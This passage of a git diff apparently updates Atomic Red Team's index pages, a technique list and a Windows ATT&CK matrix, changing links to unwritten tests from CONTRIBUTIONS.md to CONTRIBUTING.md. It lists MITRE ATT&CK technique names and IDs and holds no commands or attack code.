Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1008 Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1104 Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1188 Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1026 Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1079 Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1219 Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1043 Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1092 Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1090 Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1094 Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1024 Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1132 Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1001 Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1172 Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1008 Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1104 Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1188 Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1026 Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1079 Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1219 Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1105 Remote File Copy](./T1105/T1105.md) -- [T1071 Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1032 Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1095 Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1065 Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1071 Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1032 Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1095 Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1065 Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # initial-access -- [T1189 Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1190 Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1200 Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1193 Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1192 Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1194 Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1195 Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1199 Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1189 Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1190 Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1200 Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1193 Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1192 Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1194 Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1195 Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1199 Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) diff --git a/atomics/windows-matrix.md b/atomics/windows-matrix.md index ae58e08c..e2e10307 100644 --- a/atomics/windows-matrix.md +++ b/atomics/windows-matrix.md @@ -1,52 +1,52 @@ # Windows Atomic Tests by ATT&CK Tactic & Technique | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| -| [Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Access Token Manipulation](./T1134/T1134.md) | [Access Token Manipulation](./T1134/T1134.md) | [Account Manipulation](./T1098/T1098.md) | [Account Discovery](./T1087/T1087.md) | [Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Audio Capture](./T1123/T1123.md) | [Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Command-Line Interface](./T1059/T1059.md) | [AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Brute Force](./T1110/T1110.md) | [Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Distributed Component Object Model](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | [Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [AppInit DLLs](./T1103/T1103.md) | [AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Credential Dumping](./T1003/T1003.md) | [Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [AppInit DLLs](./T1103/T1103.md) | [Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | [Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Execution through API](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Authentication Package](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | [Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | [Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Execution through Module Load](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [BITS Jobs](./T1197/T1197.md) | [Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Ticket](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Forced Authentication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Remote Desktop Protocol](./T1076/T1076.md) | [Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Browser Extensions](./T1176/T1176.md) | [Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [Peripheral Device Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Remote File Copy](./T1105/T1105.md) | [Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | [Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Input Capture](./T1056/T1056.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Email Collection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [DCShadow](./T1207/T1207.md) | [Kerberoasting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Process Discovery](./T1057/T1057.md) | [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Input Capture](./T1056/T1056.md) | | [Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Mshta](./T1170/T1170.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [LLMNR/NBT-NS Poisoning](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Query Registry](./T1012/T1012.md) | [Shared Webroot](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Man in the Browser](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [PowerShell](./T1086/T1086.md) | [Create Account](./T1136/T1136.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [DLL Side-Loading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Remote System Discovery](./T1018/T1018.md) | [Taint Shared Content](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Screen Capture](./T1113/T1113.md) | | [Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Regsvcs/Regasm](./T1121/T1121.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [New Service](./T1050/T1050.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | [Password Filter DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Security Software Discovery](./T1063/T1063.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Regsvr32](./T1117/T1117.md) | [External Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Disabling Security Tools](./T1089/T1089.md) | [Private Keys](./T1145/T1145.md) | [System Information Discovery](./T1082/T1082.md) | [Windows Admin Shares](./T1077/T1077.md) | | | [Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Rundll32](./T1085/T1085.md) | [File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [System Network Configuration Discovery](./T1016/T1016.md) | [Windows Remote Management](./T1028/T1028.md) | | | [Remote File Copy](./T1105/T1105.md) | -| | [Scheduled Task](./T1053/T1053.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | [Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | [Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Hooking](./T1179/T1179.md) | [SID-History Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [File Deletion](./T1107/T1107.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | [Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Service Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Hypervisor](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Scheduled Task](./T1053/T1053.md) | [File System Logical Offsets](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [System Service Discovery](./T1007/T1007.md) | | | | [Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Hidden Files and Directories](./T1158/T1158.md) | | [System Time Discovery](./T1124/T1124.md) | | | | [Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Logon Scripts](./T1037/T1037.md) | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Indicator Blocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | [Trusted Developer Utilities](./T1127/T1127.md) | [Modify Existing Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | [User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Netsh Helper DLL](./T1128/T1128.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | +| [Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Access Token Manipulation](./T1134/T1134.md) | [Access Token Manipulation](./T1134/T1134.md) | [Account Manipulation](./T1098/T1098.md) | [Account Discovery](./T1087/T1087.md) | [Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Audio Capture](./T1123/T1123.md) | [Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Command-Line Interface](./T1059/T1059.md) | [AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Brute Force](./T1110/T1110.md) | [Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Distributed Component Object Model](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | [Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [AppInit DLLs](./T1103/T1103.md) | [AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Credential Dumping](./T1003/T1003.md) | [Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [AppInit DLLs](./T1103/T1103.md) | [Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | [Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Execution through API](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Authentication Package](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | [Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | [Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Execution through Module Load](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [BITS Jobs](./T1197/T1197.md) | [Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Ticket](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Forced Authentication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Remote Desktop Protocol](./T1076/T1076.md) | [Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Browser Extensions](./T1176/T1176.md) | [Exploitation for Privilege 